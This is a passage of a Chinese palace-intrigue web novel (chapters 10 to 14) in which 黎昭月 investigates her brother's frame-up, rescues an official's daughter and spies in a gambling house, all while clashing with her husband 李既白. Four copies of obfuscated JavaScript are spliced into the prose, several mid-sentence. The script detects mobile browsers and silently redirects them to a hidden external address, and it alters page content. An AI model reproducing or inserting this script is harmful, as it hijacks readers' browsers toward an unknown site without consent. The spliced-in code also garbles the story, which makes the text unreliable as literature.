李既白坐在对面,阖着眼,浓长的睫毛在苍白的脸上投下浅淡的阴影。他看似在闭目养神,可搭在膝上的手却用力蜷缩着,仿佛想要抓住这看不见的空气。 但最后,无功而返。 马车在暮色中驶回靖安侯府,朱红的大门在身后缓缓合拢,将外界的一切纷扰暂时隔绝。 黎昭月先一步下车,李既白抬步跟上,与她隔着不远不近的距离,一同踏入灯火通明的府门。回到主院,丫鬟们无声上前伺候二人更衣净手。待下人尽数退去,屋内只剩下他们二人。 黎昭月不禁疑惑,李既白怎么也跟着来了屋内。 “今日在宫中,玩得可还愉快?” 李既白的声音打破了冰冷的氛围。他语调平和,像最寻常的丈夫询问妻子的日常。 “劳侯爷挂心,宫中盛宴,自是处处新奇。” “是吗?”李既白缓步靠近,在她的一步之遥处停下,“我见夫人离席许久,可是御花园景致太好,流连忘返?” 黎昭月双手交握在身前,眼梢上挑:“比不得侯爷,即便重伤在身,于席间应酬往来,亦是游刃有余。” 四目相对,在无声中碰撞出激烈的火花。 李既白上前逼近一步,他身上清冽的药香逐渐侵袭她的感官。他垂眸看着她,细细描摹着她的眉眼,不肯放过一丝一毫的情绪。 “昭昭,”他声音压低,“你见了什么人?” 黎昭月心头一凛,面上却没有变化,甚至微微仰头,拉近了彼此呼吸可闻的距离:“侯爷耳目众多,何须问我?” 她的不退反进,让李既白眼底掠过一丝极快的诧异。他伸出手,指尖即将触碰到她颊边散落的发丝。 黎昭月偏头避开,“侯爷请自重。” 李既白的手僵在半空,他看着她眼中毫不掩饰的戒备与厌恶,眸色一点点沉了下去,那潭深水终于起了波澜,直至翻涌。 他非但没有后退,反而再次逼近,几乎将黎昭月困在窗棂与他身躯构成的方寸之间。他抬手,不容置疑地撑在她耳侧的窗框上,彻底截断了她的退路。 “自重?”他重复着这两个字,“你我夫妻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我的心?”他低笑出声,“黎昭月,你何时真正看过我的心?” 他的指腹冰凉,贴在她温热的皮肤上,激起一阵战栗。黎昭月奋力挣扎,却被他禁锢得更紧。 两人呼吸交织,眼神厮杀,谁也不肯退让半步。 就在这时,窗外传来墨痕的声音:“侯爷,曾小姐找您。” 李既白像是被这声音惊醒,眼底的疯狂迅速褪去。他缓缓松开手,看着她下颌上被自己捏出的红痕,眸色变暗。 “抱歉……我失态了。”他后退一步,拉开了彼此的距离,又恢复以往那副清冷自持的靖安侯模样,只是脸色比之前更加苍白。 黎昭月别开脸,用力擦着下巴,仿佛沾了什么污秽之物。 “夜深了,夫人早些歇息。”李既白语气平淡,刚才的失控好若从未发生。说完,他不再看她,转身离去,背影在烛光下显得极为冷硬。 黎昭月眼中闪过嘲弄。为了去见曾钦宁,他倒是收敛得快。那份怒火,转头便能被另一个女人的名字轻易抚平。 她走到梳妆台前,镜中倒映出一副略微凌乱的面孔,她细细梳理,直到李既白彻底消失在自己的视野中。 11. 第十一章 “云舒。”黎昭月站起身,衣着出奇地淡雅,“今日我们必须出府一趟。” “出府?”云舒一惊,“侯爷那边……” “他昨日离京了。” 黎昭月语气平静,这是早晨她从送饭嬷嬷得来的消息,“说是京郊大营有军务,需一两日方能回府。” 不过这也极可能是为掩盖见曾钦宁的缘由。 “去准备一下,就说我近日心中郁结,噩梦不断,要去城外的慈恩寺上香祈福,为侯爷,也为黎家祈福。” 以黎昭月目前“忧思过甚”的状态,这个理由合情合理,即便是李既白留下的眼线,也不敢过多阻拦。 辰时三刻,一辆挂着靖安侯府徽记的马车驶出了侧门。马车骨碌碌行驶在青石板路上,黎昭月微微撩开车帘一角,看着窗外熙攘的街市,心中并无半分轻松。 慈恩寺与青柳胡同的路径不大相同,若是贸然前去,定会惹人耳目。 行至一处繁华街口,黎昭月忽然捂住胸口,面色发白,气息微促。 “小姐!您怎么了?”云舒立刻惊呼,“可是又心口疼了?” 车外的护卫首领听到动静,连忙驱马靠近车窗:“夫人,您没事吧?” 黎昭月摆了摆手,“老毛病了,只是突然有些喘不过气,这街上太过喧闹咳咳咳……” 云舒急切道:“前面可有清静些的医馆或茶肆?让小姐歇歇脚,缓一缓再走吧!” 护卫首领蹙眉,看了看前方拥挤的人流,又回头看了看黎昭月苍白的面色,迟疑道:“前方不远处似乎有个茶轩,环境尚可……” “就去那里吧!”云舒不给他反驳的机会。 马车很快拐入一条相对安静的街道,云舒小心翼翼地搀扶着黎昭月下了马车,走进茶轩,要了一间雅室。 “你们在外面候着吧,夫人需要静休,不喜打扰。”云舒对欲跟进的护卫道。 护卫首领看了看这间只有一个出口的雅室,点了点头,带着人守在了门外。 一进雅室,黎昭月脸上虚弱的神情瞬间褪去,她迅速与云舒交换了一个眼神。 云舒走到雅室内侧的一扇窗户前,轻轻推开一条缝。窗外是一条僻静的后巷,这是她们提前通过启靳权的人查明的地点。 “小姐,快!”云舒低声道。 黎昭月不再犹豫,利落脱下外面的衫裙,露出里面早已准备好的一套普通天空蓝布裙,用一块同色头巾包住发髻。 “小姐,您一定要小心!” 黎昭月拍了拍她的手,随即身手敏捷地翻出窗,轻盈地落入后巷,身影一闪,便消失在巷口。 根据记忆中的路线,黎昭月低着头,脚步匆匆地到了青柳胡同。这里与京城的繁华截然不同,街道狭窄,房屋低矮,空气中弥漫着市井的烟火气。 “墨韵书局”的招牌并不起眼,店面狭小,书架上堆满了泛黄的书籍,显得有些冷清。一个戴着瓜皮小帽的中年掌柜正伏在柜台上打盹。 黎昭月快步走了进去。门上的铃铛发出清脆的响声,掌柜的抬起头,睡眼惺忪地看了她眼:“姑娘要买什么书?” 黎昭月没有直接回答,目光快速扫过店内,确认再无他人后,才低声道:“掌柜的,我找沈牧先生。” 掌柜眼中瞬间闪过一丝警惕,上下打量着她这身朴素的打扮:“沈牧?我们这儿没这个人,姑娘找错地方了吧。” “我受林夫人所托,有要事相告。”黎昭月顿了下,一字一句道:“贤妃林氏。” 掌柜的神色骤然一变,他沉默了几秒,终于点了点头,“姑娘请随我来。” 二人穿过一排排高大的书架,推开一扇隐蔽的小门,后面是一条通往内室的狭窄楼梯。 “沈先生就在楼上,姑娘请自便。”掌柜的说完,便退回了前店,并轻轻带上了小门。 黎昭月定了定神,拾级而上。楼上是一间小小的书房,陈设简陋,却收拾得十分整洁。一个身形清瘦的男子正背对着她,手边是一局棋盘。 听到脚步声,他缓缓转过身。 男子约莫四十岁年纪,面容清癯,眼角布满皱纹,但那双眼睛却带着洞悉世事的清明。 “姑娘是?”他的目光落在黎昭月身上,带着审视。 黎昭月取下头巾,露出真容,对着沈牧深深一福:“晚辈黎昭月,见过沈先生。” “黎昭月?靖安侯夫人?” “是。” 黎昭月直起身,开门见山,“先生想必已知道晚辈的来意。家兄黎昭雪在北境遭人构陷,如今生死未卜,而构陷者正是督粮官周焕和副将赵昆,此二人皆三皇子门下!昭月冒死前来,恳请先生出手相助。” 她的话语如同珠玉落盘,清晰而急切。 沈牧没有立刻回答,抬手示意黎昭月坐下,“黎夫人,你可知,空口无凭,仅凭你一面之词,老夫一个被贬黜的闲散之人,能做些什么?” 黎昭月坐下,腰背挺得笔直,“周焕贪墨军饷,与奸商勾结,账目上必有破绽。赵昆与敌军来往,军营亲信必有知情之者。这些,都需要时间去查证,可晚辈在侯府行动受限,寸步难行。”她顿了顿:“而且,晚辈不求先生直面对抗,晚辈只想知道该如何入手,该如何找到那能撬动顽石的支点。” 沈牧静静听着,手指无意识地敲击着桌面,过了好一阵,他才道: “周焕此人,贪婪跋扈,尾巴并不干净。他有一个妻弟名叫钱禄,在京中经营一家粮行,实则为周焕洗钱销赃。此人嗜赌成性,且酒后无德,或许是个突破口。” 黎昭月眼睛一亮,粮行,“莫非是昌隆粮行?” “不错……”沈牧沉吟道,“至于赵昆,他出身寒微,能爬到今日之位,全赖三皇子提拔,对三皇子忠心耿耿。但其麾下有一参军,名叫孙毅,曾因赵昆克扣军饷之事与之发生过冲突。此人,或可利用。” “多谢先生指点!”黎昭月起身,再次郑重行礼。 “不必谢我。”沈牧摆了摆手,神色凝重,“三皇子势力盘根错节,心狠手辣,凡是阻碍他之人,都没有好下场。” “但晚辈早已无路可退。”黎昭月抬起头,眸色冷静,“即便前方是刀山火海,昭月也要闯上一闯。” 看着她眼中与年龄不符的坚毅和决绝,沈牧眼中闪过一丝赞赏,但更多的仍是担忧。“既然如此,老夫会尽力为你留意消息。但你切记,凡事需谋定而后动,不可操之过急。” “是,昭月明白。”黎昭月将沈牧的叮嘱牢记于心。 她知道,此行目的已经达到。她不敢久留,再次戴上头巾向沈牧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544052|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告辞。 当护卫们见到黎昭月气色稍好的模样,也都松了口气。 约莫半个时辰后,马车缓缓停在了慈恩寺山门前。古刹庄严,钟声悠远,香火气息弥漫在空气中。 黎昭月虔诚地上香,跪拜。她低垂的眉眼间,神色哀戚,任谁看了都会觉得这是一个为家事操碎了心的柔弱女子。 完成了一系列仪式后,黎昭月屏退了左右侍卫,只让云舒陪着去到后院。 “小姐,沈先生说的那两个线索,我们接下来该如何着手?” “钱禄嗜赌,这是他的命门。我们可以找一个信得过的人,混入赌坊接近他,以便套取信息。” 云舒眼珠转了转:“启二公子门路广,定有办法!” “至于孙毅,”黎昭月蹙眉,“他身在北境军中,倒有些麻烦……” 主仆二人正低声商议着,忽然,旁边茂密的灌木丛中传来一阵窸窸窣窣的声响,紧接着是一声闷哼。 黎昭月心头一惊,立刻警觉地将云舒护在身后,“谁在那?” 灌木丛晃动了几下,一个身影踉跄着从里面跌了出来,摔在草地上。 那是一个看起来约莫十一二岁的少女,衣衫华贵,但此刻却沾满了泥土和草屑。她的右脚脚踝处明显肿胀起来,裙摆也被撕破了一道口子,露出可怖的血痕。 “你……你们是谁?”少女忍着痛,警惕地看着二人。 见是个受伤的小姑娘,黎昭月放下了戒备,“小妹妹,你别怕,我们不是坏人。你是受伤了吗?” 她说着想要靠近,可少女却甩开衣袖,“别碰本小姐!” 黎昭月愣在原地,她不是因小姑娘的态度,而是那人身上的玉牌,赫然刻着“柳”这个字。 前世,大约也是这个时间。吏部尚书柳承翰家那位备受宠爱的幼女柳竞怡,因厌烦家中管教女扮男装偷溜出府,结果在山中迷路,还摔伤了腿,失踪了五日,闹得柳府人仰马翻。最后是在一处山坳里找到了奄奄一息的她,而自那以后,柳竞怡便再不能站起来了。 “我们夫人好心要帮你……” “我不需要你们的帮忙!”柳竞怡直接打断云舒的话,用力撑起身子想要离开。 “你!” “云舒……”黎昭月拦住她,“既然她有自己的想法我们就别去打扰,反正看她这个伤势,也走不出多久,而且不及时医治肯定会留下病根。” 黎昭月的声音不大不小,柳竞怡刚好听个清楚。她下意识看向自己的腿,伤口触目惊心,而她也好几天没有吃饭了,以这副身子,恐怕遇到一只兔子都敌不过。 “喂!你!”柳竞怡指着黎昭月,“给我点水喝。” “你怎么和我们夫人说话的!我们夫人乃靖安侯之妻,岂容得你在这大呼小叫!”云舒这下是忍不了了,将袖子撸起就想上前教训她。 可黎昭月只是抬手,云舒便偏过头,腮帮子也只能瘪下去。 柳竞怡见黎昭月气质不凡,衣着雅致,不禁疑惑,“靖安侯夫人?就那个,当众拒婚的?” “不错。” 黎昭月柔声道,下一刹一块石子抛来,她迅速偏头躲开。 “原来你就是那个想要害死既白哥的坏女人!”柳竞怡拖着腿,手上不停扒拉着,“你个坏人!” 12. 第十二章 可正当她打算一股脑丢出去时,面前落下一片黑影,鹅黄的衣摆如薄雾般下垂。微风拂过,面前好若日光洒落。随即,一双明媚的双眸与她对视,白净的脸上点缀着几颗痣,更添几分仙气。 “你用这些石子可对付不了我。”温柔的嗓音将她拉回现实,她这才意识到黎昭月不知何时来到了身旁,而自己的脚踝处也被握住。 “伤到筋骨了,需立刻处理。”黎昭月抬头看了看天色,拿出手帕用水打湿,然后帮她冷敷。 “天色已晚,我需回府,这水就给你了。” “等等!” 柳竞怡咽了咽唾沫,撇开脸,“那个……你还是一并把我带回去吧……” “小姑娘,你怎的又想和我们走了?刚刚不还说我们夫人是坏人吗?” “哼!”柳竞怡目光闪烁,“那她也是既白哥哥的妻子,我只是回哥哥家而已!” “好了。”黎昭月阻止这二人的拌嘴,“不过你想同我们回去,总得告诉我们你是哪家的姑娘吧?” 柳竞怡嘟了嘟嘴,很不情愿道:“柳尚书家的。” 黎昭月心中一定,“原来是柳小姐,莫怕,我这就带你回去。” 二人将她扶起,沿着原路返回。遇到等候的侍卫时,黎昭月只简单解释了一句:“这位小姐在寺中不慎摔伤,身边无人,我先带她回府医治。” 柳竞怡是个好强的人,但终究是个小孩。这话既不伤她自尊,也能为自己落个好名声。 侍卫见是个半大的孩子,也未多想,连忙帮着安置。 回程路上,黎昭月思绪万千。救下柳竞怡,是一个意想不到的契机。吏部尚书柳承翰,掌管官员铨选,虽不直接涉足军务,但在朝中影响力不容小觑。若能借此与柳家结下一份善缘,或许将来能有用处。 马车径直驶回靖安侯府。黎昭月亲自将柳明珠安置在内院,又立刻命人去请了陈太医过来。 “夫人!”一名丫鬟急匆匆来报,“柳夫人来了。” 来得真快。 黎昭月放下茶盏,整理了一下衣襟,淡淡道:“请他们去前厅等候,我这就过去。” 她刚走到前厅门口,就听到里面传来一个焦急又带着威严的女声:“我女儿到底在何处?若是有什么闪失……” 黎昭月迈步进去,只见厅内站着一位气质雍容的妇人正焦急地踱步着。她身后还跟着几个健壮的婆子和管家模样的人,个个面带焦灼。 “柳夫人。”黎昭月上前,微微颔首。 柳夫人见到她,立刻上前抓住她的手,也顾不得礼节,“侯夫人!下人回报说小女被您所救,她现在人在何处?伤得重不重?” 她语气急切,目光紧紧锁住黎昭月,生怕漏掉一个字。 “柳夫人放心,”黎昭月反手轻轻握住她微凉的手,语气温和而镇定,“令千金只是脚踝扭伤,陈太医已经诊治过了,用了药,此刻正在厢房安睡,已无大碍。” 柳夫人闻言,长长松了口气,眼泪差点落下来:“多谢夫人!多谢夫人救了我这不懂事的丫头!她真是……真是要急死我了!”她说着,又是后怕又是感激,“不知我可否去看看她?” “自然可以,夫人请随我来。” 看到女儿在陌生的环境中安稳睡去,脚上裹着厚厚的纱布,柳夫人心疼不已,对黎昭月的感激之情更甚。她再三道谢:“侯夫人大恩,柳家没齿难忘。今日若非遇到夫人,这荒山野岭的,怡儿……”她不敢再想下去。 “柳夫人言重了,举手之劳而已。”黎昭月谦和道,“我能帮到令千金也是缘分。” 两人正说着话,忽然院外传来一阵更大的动静。 “侯爷回府了!” 黎昭月心中微惊,不过两日,他怎么就回来了? 声音刚落不久,一道颀长的身影便出现在屋门口。李既白风尘仆仆,他目光先是快速扫过黎昭月,随即落到床榻上的柳竞怡和一旁的柳夫人身上。 “柳夫人。”李既白上前几步,声音一如既往的清越,“听闻府上千金受伤,可还安好?” “劳烦侯爷挂心,小女已无大碍,多亏尊夫人出手相救。”她看向黎昭月,语态真切,“若非夫人心善,后果不堪设想。” “昭昭心性纯良,遇见此事,自然不会袖手旁观。”李既白语气自然,那声“昭昭”叫得极为熟稔。 黎昭月垂眸,避开他过于专注的视线,心中冷笑更甚。他这副温柔深情的模样,演得愈发精湛了。 柳夫人见李既白归来,又见女儿确实无碍,再次郑重道谢后便吩咐随行的婆子将尚在熟睡的柳竞怡抱起,准备告辞回府。 李既白亲自将柳夫人送至院外,言辞恳切:“夫人慢行,待令千金大好,改日我与昭昭再登门探望。” 送走柳家一行人,院落里安静下来。 夕阳的余晖将两人的影子拉长,交织在一起。李既白转身面向黎昭月,先前在柳夫人面前那份恰到好处的温和渐渐沉淀为一种更深沉的神情。 “今日去慈恩寺,可还顺利?”他轻声问道,向前走近一步,距离近得黎昭月能闻到他身上赶路带来的尘土气息。 黎昭月后退半步,“劳侯爷记挂,不过是上香祈福,并无特别。” 李既白看着她下意识后退的动作,眼底掠过一丝黯然,但他并未再逼近,只是静静地看着她,“我听闻你在寺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544053|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中救人之事,做得很好。柳尚书为人刚正,家风清肃,与他家结下善缘,于你并无坏处。” 黎昭月心中微动,他这话是什么意思?是在暗示她可以借助柳家的力量? 见她沉默,李既白继续道,语气带着前所未有的坦诚,“我知道,这些日子,将你拘在府中,你心中定然不快。” 黎昭月猛地抬眸看他,嘴角勾起嘲讽的弧度,“侯爷如今才知吗?” 李既白抿了抿唇,摇头道:“京城局势波谲云诡,我树敌不少。你初入侯府,又因拒婚之事处于风口浪尖,我……不想你卷入是非。”他看着她,目光灼灼,“将你护在府中,隔绝外界窥探,是我能想到的最笨拙,却也最直接可以保护你的方式。” 保护?黎昭月几乎要冷笑出声,那还当初求娶她,简直自相矛盾。 可她尚未开口,李既白接下来的话却让她彻底怔住。 “但我忘了,我的昭昭,从来不是被禁锢在笼中的金丝雀。”他声音低沉,带着疼惜,“你今日救下柳家小姐,处事沉稳,思虑周全,比我预想的还要出色。” 他向前一步,这次黎昭月忘了后退。他伸出手,并未触碰她,只是虚拂过她额前被风吹乱的一缕发丝。 “我答应你,”他一字一句,清晰而郑重,“从今往后,你若想出门,我不会再阻拦。” 黎昭月瞳孔微缩,难以置信地看着他。他竟主动解除了她的禁足? “为什么?”她下意识地问出口。 “因为我知道,困住你,只会让你离我越来越远。而我……不愿看到那样的结果。” 他的话带着几分苦涩的自嘲,他定定看着她,“昭昭,给我一个机会,也给你自己一个机会。去看看外面的天地,去做你想做的事。我只求你,无论如何都要保护好自己。” 他的话语,他的眼神,他那近乎卑微的请求,都与前世那个冷酷无情的李既白判若两人。黎昭月的心被搅乱了,巨大的荒谬感和连她自己都不愿承认的悸动交织在一起。 “侯爷的话,我记下了。”她垂下眼帘,掩去所有情绪,“若无事,昭月先回去歇息了。” 她需要时间来消化这突如其来的自由,来分辨这温柔背后,究竟藏着怎样的真相。 看着她转身离去的背影,李既白站在原地久久未动。未来的每一步,都是那么未知,却又让人期待。 黎昭月对于李既白态度的转变,她苦苦思索了两天也没有得出好的结果来。她实在不敢深思,不敢去赌那万分之一可能的真心。 不过无论李既白意欲何为,她都不能放过这个机会。隆昌粮行的钱禄,赵昆麾下的参军孙毅,都必须尽快着手调查。 13. 第十三章 第三日,她向启靳权递了消息,约定依计行事。 出府的理由是去散心,黎昭月特意带了两个护卫掩人耳目。半个时辰后,她借口买些糕点,来到启家铺内便将护卫迷晕在车内。 后来启府侧门悄无声息打开,两名衣着华贵少年公子摇着折扇,谈笑风生地走了出来,身后还跟着两个小厮。 “如何?小爷我这身行头,够不够唬人?”启靳权穿着一身墨绿色锦袍,金冠束发,依旧是那副张扬洒脱的模样。 黎昭月今日扮相更为大胆。她穿着一身黄白暗纹锦袍,玉带束腰,乌发全部用一根玉簪束在头顶,露出修长的脖颈。 她刻意用眉粉加粗眉形,勾勒出更显英气的轮廓,唇色也用了近乎无色的膏脂。乍一看,俨然一个气质清冷的富贵公子。 “尚可。” 黎昭月压着嗓子,带着几分少年人的冷淡。她心中并不如表面这般平静,尽管她前世跟着李既白学到了赌术,但千金坊那种地方,于她而言却是全然陌生的险地。 启靳权嘿嘿一笑,凑近低语:“放心,有我在,保管那钱禄乖乖上钩。不过阿月,你确定要亲自去?那种地方腌臜得很。” “我必须亲自确认。”黎昭月目光坚定。有些细节,唯有亲见亲闻才能找到破绽。 两人带着扮作小厮的云舒和启府一名机灵护卫,一路穿街过巷,来到了那条喧嚣的街道。千金坊的招牌金光闪闪,门口壮汉的目光如鹰隼般扫视着来往之人。 启靳权显然是此间常客,大摇大摆走上前,随手抛出一锭银子:“老位置。” 壮汉接过银子,脸上立刻堆起谄媚的笑:“启二公子,您可有日子没来了!快里面请!”目光扫过黎昭月时,闪过一丝惊艳,但见是启二带来的人,也不敢多问,恭敬地让开道路。 一踏入千金坊,震耳欲聋的声浪便裹挟着酒气和汗液气味扑面而来。云舒紧张地攥紧了衣角,黎昭月亦是不动声色地蹙了蹙眉,但很快便适应下来,随即冷静地扫视全场。 启靳权轻车熟路地引着她穿过人群,来到一处视野较好的二楼雅座,这里既能俯瞰大厅大部分赌桌,又相对清静。 “看,那边,”启靳权用折扇虚指西侧一张围满了人的骰子桌,“那个穿棕色锦袍,圆头肥身的就是钱禄。” 黎昭月顺着他指的方向望去,只见钱禄正赌得面红耳赤,时而亢奋大叫,时而捶胸顿足。 她低声道:“等他输得差不多了,我们再下去。” 启靳权会意,叫了酒水点心,一边与黎昭月故作闲谈,一边留意着楼下的动静。 果然,不到半个时辰,钱禄面前的筹码已去了七七八八。他脸色灰败,汗如雨下,眼神里充满了不甘和疯狂。 “时机到了。”黎昭月站起身,整理了一下衣袍。启靳权紧随其后,两人一前一后走下楼梯,朝钱禄那桌走去。 就在黎昭月盘算着如何与钱禄搭上话时,赌场入口处突然传来一阵不同寻常的骚动,原本喧闹的大厅竟瞬间安静几分。 众人下意识望去,只见一行人簇拥着一位身着玄色常服的年轻男子走了进来。那男子面容俊美,却带着一股阴暗之气,唇角噙着似笑非笑的弧度,眼神漫不经心地扫过全场。 黎昭月的心猛地一沉,几乎是下意识侧过身,借由启靳权的身形遮挡自己。 启靳权也皱紧了眉头,低骂一声:“晦气!” 上官威的到来,让整个千金坊的气氛都变得微妙起来。坊主和管事点头哈腰地迎了上去,将他请往最好的雅间。然而,上官威的目光却并未直接移开,反而像是在搜寻什么。 在慢悠悠环视一圈后,他定格在启靳权的身上,同时也注意到了身后那背对着的,略显僵硬的黎昭月身上。 上官威眼底闪过一丝兴味,脚步一转,朝他们走来。 “启二公子,真巧。” 他声音慵懒,目光却越过启靳权,落在黎昭月背上,“这位公子面生得很,不知是府上哪位?竟生得如此……俊俏。”最后两字,他刻意放缓,带着玩味。 启靳权上前一步,完全挡住黎昭月,扯出混不吝的笑容,“参见三殿下。这是我家远房表弟,头次来京,乡下小子不懂规矩,怕冲撞殿下。” “远房表弟?”上官威不信,踱步绕向侧面,“既是启二公子的表弟,便是自己人,何必见外?抬起头来。” 气氛紧绷,现场所有人的注意也都被吸引过来,黎昭月知道,躲不过了。她心一横,正打算开口。 “三殿下。” 一个淡漠的声音自门口响起。 众人一怔,循声望去。 只见李既白一身朝服,显然是刚从宫中出来,便径直到了此地。他面容沉着,步履从容,周身散发着一种格格不入的清贵与威仪。 他的到来,比上官威更令人意外。靖安侯可是朝中有名的端方君子,从不涉足此类场所。 上官威显然也没料到李既白会出现在这里,眉头几不可察地蹙了一下,随即笑道:“原来是靖安侯。怎么,侯爷也对此地感兴趣?” 李既白并未直接回答他,而是淡淡扫过全场,最后落在黎昭月背影上一瞬,快得让人无法捕捉,随即又转向上官威,语气平和,却抛下了一个石破天惊的消息: “兴趣谈不上。只是刚从未央宫出来,陛下因北境军粮贪腐一案龙颜震怒,已下旨彻查。凡涉事官员商贾,无论牵扯到谁,一律严惩不贷。本侯奉旨协理此案,路过此地,想起一些风闻,特来提醒三殿下,此地……鱼龙混杂,还是少来为妙,以免瓜田李下,惹来不必要的麻烦。” “军粮贪腐”,“龙颜震怒”,“严惩不贷”……这几个词如同炸弹,瞬间在千金坊内炸开。 刚才还沉迷于赌局的赌客们,尤其是那些可能与粮草生意有牵连的,顿时脸色大变,交头接耳,惶惶不安。 谁还有心思去关注一个面生的“小公子”?所有人的注意力都被这突如其来的朝廷动向和李既白话语中隐含的警告所吸引。 钱禄更是吓得面如土色,手里的筹码“哗啦”一声掉在地上都浑然不觉,恨不得立刻找个地缝钻进去。 上官威脸上的笑容僵住。李既白这番话何止是提醒,分明是警告,更是将他今日出现在这敏感之地的行为,置于一个极其尴尬的境地。他若再停留,岂不是坐实了“瓜田李下”之嫌? 李既白不再看他,转身便朝门外走去,“三殿下,有些事,臣还需与您商议。” 上官威盯了李既白的背影一瞬,又冷冷扫了眼周围噤若寒蝉的众人,终究还是冷哼一声,拂袖跟了上去。 二人的相继离开,让千金坊陷入了诡异的寂静,随即是更大的窃窃私语。 黎昭月直到这时,才感觉那扼住喉咙的无形之手骤然松开,后背已然被冷汗浸湿。她缓缓转过身,看着李既白和上官威消失的方向,心中波澜起伏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16544054|186703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他怎会来得这么巧?真的是奉旨协理北境军粮案?还是……他一直在暗中关注着她的动向? “阿月,你没事吧?”启靳权快步走到她身边,担忧地问。 黎昭月摇了摇头,深吸一口气,强迫自己冷静下来。她看了一眼吓得魂不守舍正准备溜走的钱禄,知道今日再想接近他已是不可能了。 “我们走吧。”她低声道。 目的虽未完全达成,但李既白抛出的这个消息,本身就是一个巨大的变数。北境军粮案被正式摆上台面,这意味着,水要被搅浑了。对她而言,未尝不是契机。 马车驶回靖安侯府,跟来的侍卫也早已醒来,大家都统一口径定是其过于劳累才睡了过去。 待黎昭月回到府内,李既白早已在内院等候。他依旧穿着那身未来得及更换的朝服,面容带着一丝疲惫,却更衬得眸色深沉。他挥手屏退了云舒,屋内只剩他们二人。 “今日,玩得可还尽兴?”他开口。 “我只是与启二哥叙了叙旧,并未去什么特别之处。” 李既白走近两步,衣着混着朝堂带来的肃穆感,无声侵袭过来。 “是吗?”他语气平淡,“千金坊那种地方,乌烟瘴气,并非你该去之地。” “该不该去,我自有定夺。侯爷既允我自由,我去何处,似乎无需事事向侯爷报备。”她语气微冷,带着刺。 李既白静静看着她,没有因她的顶撞而动怒,“我允你自由,是不愿你如笼中鸟般枯萎,而非让你以身犯险。” 他声音低沉下去,“千金坊背后关系深不可探,三皇子今日出现在那绝非偶然。你可知,若他当时执意深究你的身份,会是什么后果?” “后果?”黎昭月脑中闪过前世的画面,“无非是给侯爷添麻烦,或者‘大义灭妻’?”她刻意加重了最后四个字,如同淬毒的针,直刺向他。 李既白眉峰拧起,似乎不懂她的意思,又话峰一转:“北境军粮一案,陛下已命我协理监察院共同查办。” “此事关系重大,牵扯甚广。”李既白继续道,目光深邃,“周焕、赵昆等人,皆在调查之列。朝廷自有法度,不会冤枉忠良,亦不会放过蛀虫。” 他这话,像是在陈述事实,又像是在对她做出某种承诺。黎昭月紧紧盯着他,试图从他脸上找出一丝一毫的虚伪,却只看到一片坦然。 “侯爷与我说这些,是何意?”她谨慎地问。 “只是想告诉你,”李既白迎着她的目光,一字一句道,“有些事,急不得。雷霆雨露,皆是君恩。在尘埃落定之前,保全自身,方为上策。” 他顿了顿,意有所指,“莫要再行险事,授人以柄。” 与此同时,三皇子府邸。 上官威负手立于窗前,脸色阴沉。李既白今日在千金坊的出现,让他心中极为不快。 “通知鹰,让他早些回去。”他冷声道。 “殿下,您就这么放心不下李既白?”身旁的白衣男子捻着佛珠,似笑非笑。 上官威眯起眼,指尖轻轻敲击窗棂,“他今日来得太巧了。还有那个启家后面跟着的小子……总让本王觉得有几分眼熟。” 他脑海中闪过那“少年”过于精致的侧脸和略显单薄的身形,一个模糊的念头划过,却未能抓住。 白衣男子冷哼一声:“怕什么?李既白,我倒觉得是给掩饰,那个面生的小子,也造不起风浪。” 14. 第十四章 天蒙着层浅灰,雨也悄悄落了下来,细如牛毛,飘在窗上,晕开点点湿痕。空气中带着草木的清润气息飘来,仿佛停留在黎昭月的发丝上。 她端坐着用早膳,李既白放下竹筷,似是犹豫很久才道:“祖父那边递来消息,说他老人家近日染了风寒,精神不济,甚是挂念你我。” 他看着她,“你可愿随我回老宅一趟,探望祖父?” 黎昭月握着茶盏的手微微一顿。 李英明,靖安侯府的老太爷,李既白的祖父。前世,这位老人是侯府里少数给予她真诚温暖的人。李既白父母早亡,由祖父一手带大,而她幼时因常找李既白而来往李府,也深得李老爷子喜爱。 她如愿嫁入侯府时,老爷子更是待她如亲孙女。可后来,李既白与曾钦宁的事闹到明面上,老爷子却因过于愤怒,心悸而亡,她心中便始终存着这份愧疚。 “祖父病了?”她眉头微蹙,语气关切,“医治了吗?” 见她如此反应,李既白有些意外,“陈太医看过了,说是年纪大了,偶感风寒,需好生静养。只是老人家念旧,总惦记着看我们。” 